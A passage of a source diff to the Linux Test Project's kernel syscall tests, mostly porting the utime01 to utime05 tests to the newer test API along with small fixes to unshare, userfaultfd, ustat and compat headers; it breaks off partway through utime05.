9b222fae..3783e8e9 100755 --- a/testcases/kernel/syscalls/unshare/unshare02.c +++ b/testcases/kernel/syscalls/unshare/unshare02.c @@ -7,7 +7,7 @@ /*\ * [Description] * - * Basic tests for the unshare() errors. + * Basic tests for the unshare(2) errors. * * - EINVAL on invalid flags * - EPERM when process is missing required privileges diff --git a/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c b/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c index 4e178b4f..c2c684d2 100755 --- a/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c +++ b/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c @@ -12,13 +12,11 @@ #include "config.h" #include "tst_test.h" -#ifdef HAVE_LINUX_USERFAULTFD_H -#include #include #include "tst_safe_macros.h" #include "tst_safe_pthread.h" -#include "lapi/syscalls.h" +#include "lapi/userfaultfd.h" static int page_size; static char *page; @@ -121,9 +119,4 @@ static void run(void) static struct tst_test test = { .test_all = run, .min_kver = "4.3", - .timeout = 20 }; - -#else - TST_TEST_TCONF("This system does not provide userfaultfd support"); -#endif diff --git a/testcases/kernel/syscalls/ustat/ustat01.c b/testcases/kernel/syscalls/ustat/ustat01.c index 66dbc0b1..70a44adb 100755 --- a/testcases/kernel/syscalls/ustat/ustat01.c +++ b/testcases/kernel/syscalls/ustat/ustat01.c @@ -45,7 +45,7 @@ static struct tst_test test = { .test_all = run, .setup = setup, .tags = (const struct tst_tag[]) { - {"known-fail", "ustat() is known to fail with EINVAL on Btrfs, see" + {"known-fail", "ustat() is known to fail with EINVAL on Btrfs, see " "https://lore.kernel.org/linux-btrfs/e7e867b8-b57a-7eb2-2432-1627bd3a88fb@toxicpanda.com/" }, {} diff --git a/testcases/kernel/syscalls/ustat/ustat02.c b/testcases/kernel/syscalls/ustat/ustat02.c index 55bdcaed..a5b0cc1b 100755 --- a/testcases/kernel/syscalls/ustat/ustat02.c +++ b/testcases/kernel/syscalls/ustat/ustat02.c @@ -64,7 +64,7 @@ static struct tst_test test = { .setup = setup, .tcnt = ARRAY_SIZE(tc), .tags = (const struct tst_tag[]) { - {"known-fail", "ustat() is known to fail with EINVAL on Btrfs, see" + {"known-fail", "ustat() is known to fail with EINVAL on Btrfs, see " "https://lore.kernel.org/linux-btrfs/e7e867b8-b57a-7eb2-2432-1627bd3a88fb@toxicpanda.com/" }, {} diff --git a/testcases/kernel/syscalls/utils/compat_16.h b/testcases/kernel/syscalls/utils/compat_16.h index 75d5d2d2..d1f3dfd1 100755 --- a/testcases/kernel/syscalls/utils/compat_16.h +++ b/testcases/kernel/syscalls/utils/compat_16.h @@ -45,7 +45,7 @@ int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); #ifdef TST_USE_COMPAT16_SYSCALL # define LTP_CREATE_SYSCALL(sys_name, cleanup, ...) \ if (__NR_##sys_name##32 != __LTP__NR_INVALID_SYSCALL) { \ - return ltp_syscall(__NR_##sys_name, ##__VA_ARGS__); \ + return tst_syscall(__NR_##sys_name, ##__VA_ARGS__); \ } else { \ tst_brkm(TCONF, cleanup, \ "16-bit version of %s() is not supported on your " \ diff --git a/testcases/kernel/syscalls/utils/compat_uid.h b/testcases/kernel/syscalls/utils/compat_uid.h index 94e54f31..7a345a65 100755 --- a/testcases/kernel/syscalls/utils/compat_uid.h +++ b/testcases/kernel/syscalls/utils/compat_uid.h @@ -26,7 +26,7 @@ #include "tst_common.h" #ifdef TST_USE_COMPAT16_SYSCALL -typedef __kernel_old_uid_t UID_T; +typedef unsigned short UID_T; int UID_SIZE_CHECK(uid_t uid) { /* See high2lowuid in linux/highuid.h diff --git a/testcases/kernel/syscalls/utime/utime01.c b/testcases/kernel/syscalls/utime/utime01.c index 1e686251..0cc9822e 100755 --- a/testcases/kernel/syscalls/utime/utime01.c +++ b/testcases/kernel/syscalls/utime/utime01.c @@ -1,223 +1,75 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 ported by John George + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Test Name: utime01 - * - * Test Description: - * Verify that the system call utime() successfully sets the modification - * and access times of a file to the current time, if the times argument - * is null, and the user ID of the process is "root". - * - * Expected Result: - * utime succeeds returning zero and sets the access and modification - * times of the file to the current time. - * - * Algorithm: - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the Functionality of system call - * if successful, - * Issue Functionality-Pass message. - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * Usage: - * utime01 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * History - * 07/2001 John George - * -Ported - * - * Restrictions: - * This test should be run by 'super-user' (root) only. +/*\ + * [Description] * + * Verify that the system call utime() successfully changes the last + * access and modification times of a file to the current time if the + * times argument is NULL and the user ID of the process is "root". */ -#include -#include -#include -#include -#include #include -#include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" - -#define TEMP_FILE "tmp_file" -#define FILE_MODE S_IRUSR | S_IRGRP | S_IROTH -char *TCID = "utime01"; -int TST_TOTAL = 1; -time_t curr_time; /* current time in seconds */ +#include "tst_test.h" +#include "tst_clocks.h" -void setup(); /* Main setup function of test */ -void cleanup(); /* cleanup function for the test */ +#define MNT_POINT "mntpoint" +#define TEMP_FILE MNT_POINT"/tmp_file" +#define FILE_MODE 0444 -int main(int ac, char **av) +static void setup(void) { - struct stat stat_buf; /* struct buffer to hold file info. */ - int lc; - long type; - time_t modf_time, access_time; - time_t pres_time; /* file modification/access/present time */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - switch ((type = tst_fs_type(cleanup, "."))) { - case TST_NFS_MAGIC: - if (tst_kvercmp(2, 6, 18) < 0) - tst_brkm(TCONF, cleanup, "Cannot do utime on a file" - " on %s filesystem before 2.6.18", - tst_fs_type_name(type)); - break; - case TST_V9FS_MAGIC: - tst_brkm(TCONF, cleanup, - "Cannot do utime on a file on %s filesystem", - tst_fs_type_name(type)); - break; - } - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Invoke utime(2) to set TEMP_FILE access and - * modification times to the current time. - */ - TEST(utime(TEMP_FILE, NULL)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL|TTERRNO, "utime(%s) failed", TEMP_FILE); - } else { - /* - * Sleep for a second so that mod time and - * access times will be different from the - * current time - */ - sleep(2); - - /* - * Get the current time now, after calling - * utime(2) - */ - pres_time = time(NULL); - - /* - * Get the modification and access times of - * temporary file using stat(2). - */ - SAFE_STAT(cleanup, TEMP_FILE, &stat_buf); - modf_time = stat_buf.st_mtime; - access_time = stat_buf.st_atime; - - /* Now do the actual verification */ - if (modf_time <= curr_time || - modf_time >= pres_time || - access_time <= curr_time || - access_time >= pres_time) { - tst_resm(TFAIL, "%s access and " - "modification times not set", - TEMP_FILE); - } else { - tst_resm(TPASS, "Functionality of " - "utime(%s, NULL) successful", - TEMP_FILE); - } - } - tst_count++; - } - - cleanup(); - tst_exit(); + SAFE_TOUCH(TEMP_FILE, FILE_MODE, NULL); } -/* - * void - * setup() - performs all ONE TIME setup for this test. - * Create a temporary directory and change directory to it. - * Create a test file under temporary directory and close it - */ -void setup(void) +static void run(void) { - int fildes; /* file handle for temp file */ - - tst_require_root(); - - tst_sig(FORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - tst_tmpdir(); - - /* Creat a temporary file under above directory */ - fildes = SAFE_CREAT(cleanup, TEMP_FILE, FILE_MODE); - - /* Close the temporary file created */ - SAFE_CLOSE(cleanup, fildes); - - /* Get the current time */ - curr_time = time(NULL); - - /* - * Sleep for a second so that mod time and access times will be - * different from the current time - */ - sleep(2); /* sleep(1) on IA64 sometimes sleeps < 1 sec!! */ + struct utimbuf utbuf; + struct stat stat_buf; + time_t pre_time, post_time; + + utbuf.modtime = tst_get_fs_timestamp() - 5; + utbuf.actime = utbuf.modtime + 1; + TST_EXP_PASS_SILENT(utime(TEMP_FILE, &utbuf)); + SAFE_STAT(TEMP_FILE, &stat_buf); + + TST_EXP_EQ_LI(stat_buf.st_atime, utbuf.actime); + TST_EXP_EQ_LI(stat_buf.st_mtime, utbuf.modtime); + + pre_time = tst_get_fs_timestamp(); + TST_EXP_PASS(utime(TEMP_FILE, NULL), "utime(%s, NULL)", TEMP_FILE); + if (!TST_PASS) + return; + post_time = tst_get_fs_timestamp(); + SAFE_STAT(TEMP_FILE, &stat_buf); + + if (stat_buf.st_mtime < pre_time || stat_buf.st_mtime > post_time) + tst_res(TFAIL, "utime() did not set expected mtime, " + "pre_time: %ld, post_time: %ld, st_mtime: %ld", + pre_time, post_time, stat_buf.st_mtime); + + if (stat_buf.st_atime < pre_time || stat_buf.st_atime > post_time) + tst_res(TFAIL, "utime() did not set expected atime, " + "pre_time: %ld, post_time: %ld, st_atime: %ld", + pre_time, post_time, stat_buf.st_atime); } -/* - * void - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - * Remove the test directory and testfile created in the setup. - */ -void cleanup(void) -{ - - tst_rmdir(); - -} +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_root = 1, + .mntpoint = MNT_POINT, + .mount_device = 1, + .all_filesystems = 1, + .skip_filesystems = (const char *const[]) { + "vfat", + "exfat", + NULL + } +}; diff --git a/testcases/kernel/syscalls/utime/utime02.c b/testcases/kernel/syscalls/utime/utime02.c index 14d5e18c..fdcd40f6 100755 --- a/testcases/kernel/syscalls/utime/utime02.c +++ b/testcases/kernel/syscalls/utime/utime02.c @@ -1,238 +1,91 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 ported by John George + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Test Name: utime02 - * - * Test Description: - * Verify that the system call utime() successfully sets the modification - * and access times of a file to the current time, under the following - * constraints, - * - The times argument is null. - * - The user ID of the process is not "root". - * - The file is owned by the user ID of the process. - * - * Expected Result: - * utime succeeds returning zero and sets the access and modification - * times of the file to the current time. - * - * Algorithm: - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the Functionality of system call - * if successful, - * Issue Functionality-Pass message. - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. +/*\ + * [Description] * - * Usage: - * utime02 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * History - * 07/2001 John George - * -Ported - * - * Restrictions: + * Verify that the system call utime() successfully changes the last + * access and modification times of a file to the current time, + * under the following constraints: * + * - The times argument is NULL. + * - The user ID of the process is not "root". + * - The file is owned by the user ID of the process. */ -#include -#include -#include -#include -#include #include -#include -#include -#include #include -#include -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" +#include "tst_clocks.h" -#define TEMP_FILE "tmp_file" -#define FILE_MODE S_IRUSR | S_IRGRP | S_IROTH +#define MNT_POINT "mntpoint" +#define TEMP_FILE MNT_POINT"/tmp_file" +#define FILE_MODE 0444 -char *TCID = "utime02"; -int TST_TOTAL = 1; -time_t curr_time; /* current time in seconds */ +#define TEST_USERNAME "nobody" -char nobody_uid[] = "nobody"; -struct passwd *ltpuser; -void setup(); /* Main setup function of test */ -void cleanup(); /* cleanup function for the test */ - -int main(int ac, char **av) +static void setup(void) { - struct stat stat_buf; /* struct buffer to hold file info. */ - int lc; - long type; - time_t modf_time, access_time; - time_t pres_time; /* file modification/access/present time */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - switch ((type = tst_fs_type(cleanup, "."))) { - case TST_NFS_MAGIC: - if (tst_kvercmp(2, 6, 18) < 0) - tst_brkm(TCONF, cleanup, "Cannot do utime on a file" - " on %s filesystem before 2.6.18", - tst_fs_type_name(type)); - break; - case TST_V9FS_MAGIC: - tst_brkm(TCONF, cleanup, - "Cannot do utime on a file on %s filesystem", - tst_fs_type_name(type)); - break; - } + struct passwd *pw; - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Invoke utime(2) to set TEMP_FILE access and - * modification times to the current time. - */ - TEST(utime(TEMP_FILE, NULL)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL|TTERRNO, "utime(%s) failed", TEMP_FILE); - } else { - /* - * Sleep for a second so that mod time and - * access times will be different from the - * current time - */ - sleep(2); - - /* - * Get the current time now, after calling - * utime(2) - */ - pres_time = time(NULL); - - /* - * Get the modification and access times of - * temporary file using stat(2). - */ - SAFE_STAT(cleanup, TEMP_FILE, &stat_buf); - modf_time = stat_buf.st_mtime; - access_time = stat_buf.st_atime; - - /* Now do the actual verification */ - if (modf_time <= curr_time || - modf_time >= pres_time || - access_time <= curr_time || - access_time >= pres_time) { - tst_resm(TFAIL, "%s access and " - "modification times not set", - TEMP_FILE); - } else { - tst_resm(TPASS, "Functionality of " - "utime(%s, NULL) successful", - TEMP_FILE); - } - } - tst_count++; - } + pw = SAFE_GETPWNAM(TEST_USERNAME); - cleanup(); - tst_exit(); -} + SAFE_TOUCH(TEMP_FILE, FILE_MODE, NULL); + SAFE_CHOWN(TEMP_FILE, pw->pw_uid, pw->pw_gid); -/* - * void - * setup() - performs all ONE TIME setup for this test. - * Create a temporary directory and change directory to it. - * Create a test file under temporary directory and close it - */ -void setup(void) -{ - int fildes; /* file handle for temp file */ - - tst_require_root(); - - tst_sig(FORK, DEF_HANDLER, cleanup); - - /* Switch to nobody user for correct error code collection */ - ltpuser = SAFE_GETPWNAM(NULL, nobody_uid); - SAFE_SETUID(NULL, ltpuser->pw_uid); - - /* Pause if that option was specified - * TEST_PAUSE contains the code to fork the test with the -i option. - * You want to make sure you do this before you create your temporary - * directory. - */ - TEST_PAUSE; - - tst_tmpdir(); - - /* Creat a temporary file under above directory */ - fildes = SAFE_CREAT(cleanup, TEMP_FILE, FILE_MODE); - - /* Close the temporary file created */ - SAFE_CLOSE(cleanup, fildes); - - /* Get the current time */ - curr_time = time(NULL); - - /* - * Sleep for a second so that mod time and access times will be - * different from the current time - */ - sleep(2); /* sleep(1) on IA64 sometimes sleeps < 1 sec!! */ + tst_res(TINFO, "Switching effective user ID to user: %s", pw->pw_name); + SAFE_SETEUID(pw->pw_uid); } -/* - * void - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - * Remove the test directory and testfile created in the setup. - */ -void cleanup(void) +static void run(void) { - - tst_rmdir(); - + struct utimbuf utbuf; + struct stat stat_buf; + time_t pre_time, post_time; + + utbuf.modtime = tst_get_fs_timestamp() - 5; + utbuf.actime = utbuf.modtime + 1; + TST_EXP_PASS_SILENT(utime(TEMP_FILE, &utbuf)); + SAFE_STAT(TEMP_FILE, &stat_buf); + + TST_EXP_EQ_LI(stat_buf.st_atime, utbuf.actime); + TST_EXP_EQ_LI(stat_buf.st_mtime, utbuf.modtime); + + pre_time = tst_get_fs_timestamp(); + TST_EXP_PASS(utime(TEMP_FILE, NULL), "utime(%s, NULL)", TEMP_FILE); + if (!TST_PASS) + return; + post_time = tst_get_fs_timestamp(); + SAFE_STAT(TEMP_FILE, &stat_buf); + + if (stat_buf.st_mtime < pre_time || stat_buf.st_mtime > post_time) + tst_res(TFAIL, "utime() did not set expected mtime, " + "pre_time: %ld, post_time: %ld, st_mtime: %ld", + pre_time, post_time, stat_buf.st_mtime); + + if (stat_buf.st_atime < pre_time || stat_buf.st_atime > post_time) + tst_res(TFAIL, "utime() did not set expected atime, " + "pre_time: %ld, post_time: %ld, st_atime: %ld", + pre_time, post_time, stat_buf.st_atime); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_root = 1, + .mntpoint = MNT_POINT, + .mount_device = 1, + .all_filesystems = 1, + .skip_filesystems = (const char *const[]) { + "vfat", + "exfat", + NULL + } +}; diff --git a/testcases/kernel/syscalls/utime/utime03.c b/testcases/kernel/syscalls/utime/utime03.c index 2358fd70..734f4897 100755 --- a/testcases/kernel/syscalls/utime/utime03.c +++ b/testcases/kernel/syscalls/utime/utime03.c @@ -18,10 +18,8 @@ * - The user ID of the process has write access to the file. */ -#include #include #include -#include #include #include "tst_test.h" @@ -79,10 +77,14 @@ static void run(void) SAFE_STAT(TEMP_FILE, &statbuf); if (statbuf.st_atime < mintime || statbuf.st_atime > maxtime) - tst_res(TFAIL, "utime() did not set expected atime"); + tst_res(TFAIL, "utime() did not set expected atime, " + "mintime: %ld, maxtime: %ld, st_atime: %ld", + mintime, maxtime, statbuf.st_atime); if (statbuf.st_mtime < mintime || statbuf.st_mtime > maxtime) - tst_res(TFAIL, "utime() did not set expected mtime"); + tst_res(TFAIL, "utime() did not set expected mtime, " + "mintime: %ld, maxtime: %ld, st_mtime: %ld", + mintime, maxtime, statbuf.st_mtime); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/utime/utime04.c b/testcases/kernel/syscalls/utime/utime04.c index 5253f768..7b820ab0 100755 --- a/testcases/kernel/syscalls/utime/utime04.c +++ b/testcases/kernel/syscalls/utime/utime04.c @@ -1,190 +1,65 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 ported by John George + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Test Name: utime04 - * - * Test Description: - * Verify that the system call utime() successfully sets the modification - * and access times of a file to the time specified by times argument, if - * the times argument is not null, and the user ID of the process is "root". - * - * Expected Result: - * utime succeeds returning zero and sets the access and modification - * times of the file to that specified by the times argument. - * - * Algorithm: - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the Functionality of system call - * if successful, - * Issue Functionality-Pass message. - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. +/*\ + * [Description] * - * Usage: - * utime04 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * History - * 07/2001 John George - * -Ported - * - * Restrictions: - * This test should be run by 'super-user' (root) only. + * Verify that the system call utime() successfully changes the last + * access and modification times of a file to the values specified by + * times argument, under the following constraints: * + * - The times argument is not NULL. + * - The user ID of the process is "root". */ -#include -#include -#include -#include -#include #include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" -#define TEMP_FILE "tmp_file" -#define FILE_MODE S_IRUSR | S_IRGRP | S_IROTH -#define NEW_TIME 10000 +#define MNT_POINT "mntpoint" +#define TEMP_FILE MNT_POINT"/tmp_file" -char *TCID = "utime04"; -int TST_TOTAL = 1; +#define FILE_MODE 0444 +#define NEW_MODF_TIME 10000 +#define NEW_ACCESS_TIME 20000 -struct utimbuf times; /* struct. buffer for utime() */ +static struct utimbuf times = { + .modtime = NEW_MODF_TIME, + .actime = NEW_ACCESS_TIME +}; -void setup(); /* Main setup function of test */ -void cleanup(); /* cleanup function for the test */ - -int main(int ac, char **av) +static void setup(void) { - struct stat stat_buf; /* struct buffer to hold file info. */ - int lc; - time_t modf_time, access_time; - /* file modification/access time */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Invoke utime(2) to set TEMP_FILE access and - * modification times to that specified by - * times argument. - */ - TEST(utime(TEMP_FILE, ×)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL|TTERRNO, "utime(%s) failed", TEMP_FILE); - } else { - /* - * Get the modification and access times of - * temporary file using stat(2). - */ - SAFE_STAT(cleanup, TEMP_FILE, &stat_buf); - modf_time = stat_buf.st_mtime; - access_time = stat_buf.st_atime; - - /* Now do the actual verification */ - if ((modf_time != NEW_TIME) || - (access_time != NEW_TIME)) { - tst_resm(TFAIL, "%s access and " - "modification times not set", - TEMP_FILE); - } else { - tst_resm(TPASS, "Functionality of " - "utime(%s, ×) successful", - TEMP_FILE); - } - } - tst_count++; /* incr TEST_LOOP counter */ - } - - cleanup(); - tst_exit(); + SAFE_TOUCH(TEMP_FILE, FILE_MODE, NULL); } -/* - * void - * setup() - performs all ONE TIME setup for this test. - * Create a temporary directory and change directory to it. - * Create a test file under temporary directory and close it - */ -void setup(void) +static void run(void) { - int fildes; /* file handle for temp file */ - - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + struct stat stat_buf; - tst_tmpdir(); + TST_EXP_PASS(utime(TEMP_FILE, ×), "utime(%s, ×)", TEMP_FILE); + if (!TST_PASS) + return; - /* Creat a temporary file under above directory */ - fildes = SAFE_CREAT(cleanup, TEMP_FILE, FILE_MODE); - - /* Close the temporary file created */ - SAFE_CLOSE(cleanup, fildes); - - /* Initialize the modification and access time in the times arg */ - times.actime = NEW_TIME; - times.modtime = NEW_TIME; + SAFE_STAT(TEMP_FILE, &stat_buf); + TST_EXP_EQ_LI(stat_buf.st_mtime, NEW_MODF_TIME); + TST_EXP_EQ_LI(stat_buf.st_atime, NEW_ACCESS_TIME); } -/* - * void - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - * Remove the test directory and testfile created in the setup. - */ -void cleanup(void) -{ - - tst_rmdir(); - -} +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1, + .skip_filesystems = (const char *const[]) { + "vfat", + "exfat", + NULL + } +}; diff --git a/testcases/kernel/syscalls/utime/utime05.c b/testcases/kernel/syscalls/utime/utime05.c index b2d2450b..941a3cce 100755 --- a/testcases/kernel/syscalls/utime/utime05.c +++ b/testcases/kernel/syscalls/utime/utime05.c @@ -1,200 +1,79 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 ported by John George + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Test Name: utime05 - * - * Test Description: - * Verify that the system call utime() successfully sets the modification - * and access times of a file to the value specified by the times argument - * under the following constraints, - * - The times argument is not null, - * - The user ID of the process is not "root". - * - The file is owned by the user ID of the process. - * - * Expected Result: - * utime succeeds returning zero and sets the access and modification - * times of the file to that specified by the times argument. - * - * Algorithm: - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. +/*\ + * [Description] * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the Functionality of system call - * if successful, - * Issue Functionality-Pass message. - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * Usage: - * utime05 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * History - * 07/2001 John George - * -Ported - * - * Restrictions: + * Verify that the system call utime() successfully changes the last + * access and modification times of a file to the values specified by + * times argument, under the following constraints: * + * - The times argument is not NULL. + * - The user ID of the process is not "root". + * - The file is owned by the user ID of the process. */ -#include -#include -#include -#include -#include #include -#include -#include -#include #include -#include "test.h" -#include "safe_macros.h" - -#define TEMP_FILE "tmp_file" -#define FILE_MODE S_IRUSR | S_IRGRP | S_IROTH -#define NEW_TIME 10000 +#include "tst_test.h" -char *TCID = "utime05"; -int TST_TOTAL = 1; +#define MNT_POINT "mntpoint" +#define TEMP_FILE MNT_POINT"/tmp_file" -char nobody_uid[] = "nobody"; -struct passwd *ltpuser; +#define FILE_MODE 0444 +#define MODE_RWX 0777 +#define NEW_MODF_TIME 10000 +#define NEW_ACCESS_TIME 20000 -struct utimbuf times; /* struct. buffer for utime() */ - -void setup(); /* Main setup function of test */ -void cleanup(); /* cleanup function for the test */ - -int main(int ac, char **av) -{ - struct stat stat_buf; /* struct buffer to hold file info. */ - int lc; - time_t modf_time, access_time; - /* file modification/access time */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Invoke utime(2) to set TEMP_FILE access and - * modification times to that specified by - * times argument. - */ - TEST(utime(TEMP_FILE, ×)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL|TTERRNO, "utime(%s) failed", TEMP_FILE); - } else { - /* - * Get the modification and access times of - * temporary file using stat(2). - */ - SAFE_STAT(cleanup, TEMP_FILE, &stat_buf); - modf_time = stat_buf.st_mtime; - access_time = stat_buf.st_atime; - - /* Now do the actual verification */ - if ((modf_time != NEW_TIME) || - (access_time != NEW_TIME)) { - tst_resm(TFAIL, "%s access and " - "modification times not set", - TEMP_FILE); - } else { - tst_resm(TPASS, "Functionality of " - "utime(%s, ×) successful", - TEMP_FILE); - } - } - tst_count++; /* incr TEST_LOOP counter */ - } +#define TEST_USERNAME "nobody" - cleanup(); - tst_exit(); -} +static struct utimbuf times = { + .modtime = NEW_MODF_TIME, + .actime = NEW_ACCESS_TIME +}; -/* - * void - * setup() - performs all ONE TIME setup for this test. - * Create a temporary directory and change directory to it. - * Create a test file under temporary directory and close it - */ -void setup(void) +static void setup(void) { - int fildes; /* file handle for temp file */ - - tst_require_root(); - - tst_sig(FORK, DEF_HANDLER, cleanup); - - /* Switch to nobody user for correct error code collection */ - ltpuser = SAFE_GETPWNAM(NULL, nobody_uid); - SAFE_SETUID(NULL, ltpuser->pw_uid); - - TEST_PAUSE; + struct passwd *pw; - tst_tmpdir(); + SAFE_CHMOD(MNT_POINT, MODE_RWX); - /* Creat a temporary file under above directory */ - fildes = SAFE_CREAT(cleanup, TEMP_FILE, FILE_MODE); - - /* Close the temporary file created */ - SAFE_CLOSE(cleanup, fildes); - - /* Initialize the modification and access time in the times arg */ - times.actime = NEW_TIME; - times.modtime = NEW_TIME; + pw = SAFE_GETPWNAM(TEST_USERNAME); + tst_res(TINFO, "Switching effective user ID to user: %s", pw->pw_name); + SAFE_SETEUID(pw->pw_uid); + SAFE_TOUCH(TEMP_FILE, FILE_MODE, NULL); } -/* - * void - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - * Remove the test directory and testfile created in the setup. - */ -void cleanup(void) +static void run(void) { + struct stat stat_buf; - tst_rmdir(); + TST_EXP_PASS(utime(TEMP_FILE, ×), "utime(%s, ×)", TEMP_FILE); + if (!TST_PASS) + return; + SAFE_STAT(TEMP_FILE, &stat_buf); + + TST_EXP_EQ_LI(stat_buf.st_mtime, 